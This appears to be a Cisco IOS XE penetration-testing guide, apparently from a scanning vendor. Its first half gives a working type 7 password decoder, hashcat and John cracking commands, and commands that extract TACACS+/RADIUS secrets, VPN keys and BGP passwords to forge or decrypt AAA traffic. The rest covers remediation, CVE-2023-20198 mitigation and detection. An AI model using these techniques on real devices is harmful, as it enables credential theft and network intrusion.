def decode_type7(encoded):
    xlat = [
        0x64, 0x73, 0x66, 0x64, 0x3b, 0x6b, 0x66, 0x6f,
        0x41, 0x2c, 0x2e, 0x69, 0x79, 0x65, 0x77, 0x72,
        0x6b, 0x6c, 0x64, 0x4a, 0x4b, 0x44, 0x48, 0x53,
        0x55, 0x42
    ]
    seed = int(encoded[:2])
    chars = [int(encoded[i:i+2], 16) for i in range(2, len(encoded), 2)]
    return "".join(chr(chars[i] ^ xlat[(seed + i) % 26]) for i in range(len(chars)))

# Example: decode type 7 password from config
type7_hash = "14141B180F0B"
print(f"Decoded: {decode_type7(type7_hash)}")
EOF

# Type 5 (MD5-crypt) cracking with hashcat
# Extract the hash: $1$mERr$abc123hashvalue
echo '$1$mERr$abc123hashvalue' > type5_hashes.txt
hashcat -m 500 type5_hashes.txt /usr/share/wordlists/rockyou.txt \
  --rules-file /usr/share/hashcat/rules/best64.rule

# Type 8 (PBKDF2-SHA256) cracking — much slower
echo '$8$mSoLIJ6$OOAMQRlfQwh2+LklJFPkFKN2yJ7LqFUxijE8EJjv5Jk' > type8_hashes.txt
hashcat -m 9200 type8_hashes.txt /usr/share/wordlists/rockyou.txt

# Type 9 (scrypt) — computationally expensive, GPU-accelerated
echo '$9$2MeSimuRhyBEVk$wG/i3KcQfGNc7kPSk3S.R3A3I0lT7.Kkc.YVOM97K2' > type9_hashes.txt
hashcat -m 9300 type9_hashes.txt /usr/share/wordlists/rockyou.txt

# John the Ripper alternative for IOS XE hashes
john --format=md5crypt type5_hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt

# Extract VPN pre-shared keys (stored under crypto isakmp key / crypto map)
grep -A2 "crypto isakmp key\|pre-shared-key" running-config.txt
grep -A3 "crypto map\|tunnel protection" running-config.txt

# Extract BGP MD5 authentication passwords
grep "neighbor .* password" running-config.txt

TACACS+/RADIUS Integration Attacks

Enterprise IOS XE deployments almost universally integrate with TACACS+ (Cisco ACS/ISE) or RADIUS for centralized authentication, authorization, and accounting (AAA). The shared secrets used by these protocols are stored in the IOS XE configuration and are extractable via any configuration access method. These secrets can be used to forge TACACS+/RADIUS authentication packets or to decrypt captured authentication sessions.

Shared Secret Extraction and Protocol Attacks

# Extract TACACS+ server config and shared key from running-config
grep -A5 "tacacs-server\|tacacs server\|ip tacacs" running-config.txt
# Example output:
# tacacs server ISE-PRIMARY
#  address ipv4 10.1.1.100
#  key 7 13061E010803557878  <-- type 7 encoded key (trivially decoded)
#  timeout 5

# Decode type 7 TACACS+ key (use decode_type7 function from previous section)
# "13061E010803557878" decodes to the actual shared secret

# Extract RADIUS server config and shared secret
grep -A5 "radius-server\|radius server\|ip radius" running-config.txt
# Example:
# radius server ISE-RADIUS
#  address ipv4 10.1.1.101 auth-port 1812 acct-port 1813
#  key 7 045802150C2E1D1C09  <-- type 7 encoded

# With the TACACS+ shared secret, test using tac-plus client
# Install: apt install libpam-tacplus
# Test authentication request to TACACS+ server directly
tacc -u testuser -p testpass -s 10.1.1.100 -k "decoded_tacacs_secret"

# Replay attack — with the shared secret, forge TACACS+ authentication responses
# Wireshark can decrypt TACACS+ sessions when the shared key is known:
# Wireshark > Preferences > Protocols > TACACS+ > Key: [shared_secret]

# RADIUS shared secret attack with Freeradius utils
# With captured RADIUS Access-Request packet and known shared secret:
radsniff -x -s "shared_secret" -i eth0 'udp port 1812'

# Test RADIUS directly with obtained shared secret
echo "User-Name = \"admin\", User-Password = \"cisco\"" | radclient \
  10.1.1.101 auth "shared_secret"

# If ISE is in scope, the extracted TACACS/RADIUS shared secret enables:
# 1. Forging AAA responses to grant unauthorized access to any AAA-enabled device
# 2. Decrypting all captured TACACS+ sessions in network traffic
# 3. Bypassing device access controls if AAA server is unreachable (fallback to local)

# CVE-2023-20109 — Cisco Group Encrypted Transport VPN (GETVPN) key server
# Vulnerable to authenticated RCE via GDOI protocol — extract GM credentials from config
grep -A10 "crypto gdoi\|key server\|group member" running-config.txt

AAA Fallback Testing

# IOS XE AAA fallback — if TACACS/RADIUS is unreachable, device falls back to local auth
# Test by blocking TACACS+ traffic and attempting login with local credentials

# View configured AAA policy
ssh admin@TARGET "show running-config | section aaa"

# Common secure AAA config vs insecure fallback:
# SECURE: aaa authentication login default group tacacs+ local  (fallback to local)
# INSECURE: aaa authentication login default group tacacs+ none (fallback = no auth!)

# Test for 'none' fallback (critical misconfiguration)
# If TACACS+ is unavailable, 'none' = any credentials accepted
# Simulate by testing with garbage credentials when TACACS+ is down

# Check if 'aaa authentication login default ... none' exists in config
grep "aaa authentication.*none" running-config.txt
# If this line exists, the device grants access to anyone when AAA server is unreachable

# Check authorization fallback
grep "aaa authorization.*none\|aaa authorization.*if-authenticated" running-config.txt

Automate Cisco IOS XE Security Testing

Ironimo coordinates nmap, nuclei, and purpose-built Cisco checks in automated scan sequences — detecting CVE-2023-20198, CVE-2023-20273, Smart Install exposure, SNMP community strings, default credentials, and configuration misconfigurations across IOS XE device fleets in minutes.

Start free scan

Defense Recommendations and Detection

FindingRiskRemediation
CVE-2023-20198 / CVE-2023-20273 unpatchedCriticalUpgrade to IOS XE 17.9.4a, 17.6.6a, 17.3.8a, or 16.12.10a immediately. As immediate mitigation: no ip http server and no ip http secure-server if WebUI is not operationally required
WebUI exposed to internet / untrusted networksCriticalRestrict HTTP/HTTPS management access with ip http access-class ACL_MGMT in; WebUI should only be reachable from dedicated management VLAN/IP range
Smart Install (TCP 4786) exposedCriticalDisable with no vstack; block TCP 4786 at all perimeter and distribution ACLs; migrate to Cisco Network Services Orchestrator (NSO) for zero-touch provisioning
Default credentials (cisco/cisco)CriticalChange all default credentials on day-1 provisioning; enforce strong password policy via AAA; implement MFA for management access via Cisco ISE and TACACS+
SNMPv1/v2c with default community stringsHighDisable SNMPv1/v2c (no snmp-server); migrate to SNMPv3 with SHA auth and AES128 privacy; restrict SNMP access via ACL (snmp-server community ... view ... ro ACL_MGMT)
SNMP RW community string configuredHighRemove all read-write SNMP community strings; use NETCONF/RESTCONF with strong credentials for programmatic config management instead
Telnet enabled (TCP 23)Highno service telnet or transport input ssh on all VTY lines; use SSH with RSA key >= 2048 bits for all management access
Type 7 password encoding in configHighReplace all password 7 entries with secret 9 (scrypt); enable service password-encryption as baseline but understand it only applies type 7 — use key config-key password-encrypt for type 6 AES encryption
TACACS+ shared secret with type 7 encodingHighUse key 6 ... (type 6 AES) for TACACS+/RADIUS keys; rotate shared secrets immediately if config was accessible to unauthorized parties
RESTCONF/NETCONF exposed to untrusted networksHighRestrict with ip http access-class; require client certificate authentication for RESTCONF; log all API access via YANG-based telemetry streaming
AAA fallback to 'none'CriticalRemove none from all AAA method lists; replace with local for emergency fallback; ensure local emergency admin account is documented and credentials stored in PAM vault
VPN PSKs in running-configMediumMigrate IPsec VPN to certificate-based authentication (PKI); where PSK is unavoidable, use type 6 encryption and unique per-peer keys

Immediate Mitigation for CVE-2023-20198

# Step 1: Verify current WebUI status
show running-config | include ip http

# Step 2: Disable WebUI immediately if not required
conf t
 no ip http server
 no ip http secure-server
end
write memory

# Step 3: If WebUI must remain enabled, restrict access to management range only
conf t
 ip access-list standard ACL_HTTP_MGMT
  permit 10.0.0.0 0.0.0.255  ! Management subnet only
  deny any log
 ip http access-class ACL_HTTP_MGMT in
 ip http secure-server
end
write memory

# Step 4: Check for backdoor users created by CVE-2023-20198 exploitation
show running-config | include username
# Remove any unauthorized privilege-15 users:
conf t
 no username cisco_tac_admin
 no username backdoor
end
write memory

# Step 5: Verify patch level
show version | include Version
# Ensure: 17.9.4a or later, 17.6.6a or later, 17.3.8a or later, 16.12.10a or later

# Step 6: Disable Smart Install if not operationally needed
conf t
 no vstack
end
show vstack config  ! Should show "Role: NA (Smart Install non-operational)"

Detection — Identifying CVE-2023-20198 Exploitation

# Cisco IOS XE system logs — look for new user creation from unknown sources
# Exploitation of CVE-2023-20198 generates syslog entries for user creation
# Search for: "%SYS-5-CONFIG_I: Configured from console by [username] on [interface]"
# Or: "%PARSER-5-CFGLOG_LOGGEDCMD: User: [backdoor_user] logged command"

# Check syslog for unauthorized WebUI logins
show logging | include HTTP|webui|username|privilege|created

# Check for the implant deployed via CVE-2023-20273
# The Lua implant creates a listener on a specific port; detection command:
show platform software file flash: | include lua
dir flash: | include lua
more flash:implant.lua  ! If file exists, device is compromised

# Check active HTTP sessions for unusual source IPs
show ip http server session all
show ip http server statistics

# SIEM/Syslog correlation for CVE-2023-20198 exploitation
# Splunk search example:
# index=cisco_syslog sourcetype=cisco:ios
# | search "Configured from" OR "webui" OR "new user"
# | where privilege="15" AND src_ip!="10.0.0.0/8"

# Cisco Secure Network Analytics (Stealthwatch) — behavioral detection
# Look for: Unusual HTTP POST volume to TCP 80/443 on IOS XE management IPs
# Flag: HTTP 200 responses to /webui/logoutconfirm.html from internet IPs

# Verify integrity of running configuration hash
show running-config | archive config difference nvram:startup-config
# Any difference between running and startup config may indicate unauthorized changes

# Check for EEM (Embedded Event Manager) scripts used for persistence
show running-config | section event manager
show event manager policy registered

Summary

Cisco IOS XE devices represent one of the most impactful targets in enterprise network security assessments. The scale of CVE-2023-20198 exploitation — tens of thousands of compromised devices within days of public knowledge — underscores how quickly unauthenticated RCE-class vulnerabilities on network infrastructure are weaponized at internet scale. Any internet-exposed IOS XE WebUI instance should be treated as compromised until proven otherwise if it was running a vulnerable version between September and October 2023.

For authorized assessments: begin with nmap across TCP 22/23/80/443/830/4786 and UDP 161 to map the attack surface; fingerprint the IOS XE version via the /webui/logoutconfirm.html?logon_hash=1 endpoint or SNMP sysDescr before touching anything else; probe CVE-2023-20198 on any device with WebUI enabled; test Smart Install on TCP 4786 (unauthenticated config theft); enumerate SNMP community strings including Cisco-specific defaults; and extract the full running configuration via whichever access path succeeds first. The configuration extraction then yields all remaining credentials — TACACS+/RADIUS shared secrets, VPN PSKs, BGP passwords, and local user hashes — for offline cracking and lateral movement planning. Type 7 passwords should be decoded immediately; they provide no security and should be escalated as critical findings in any penetration test report.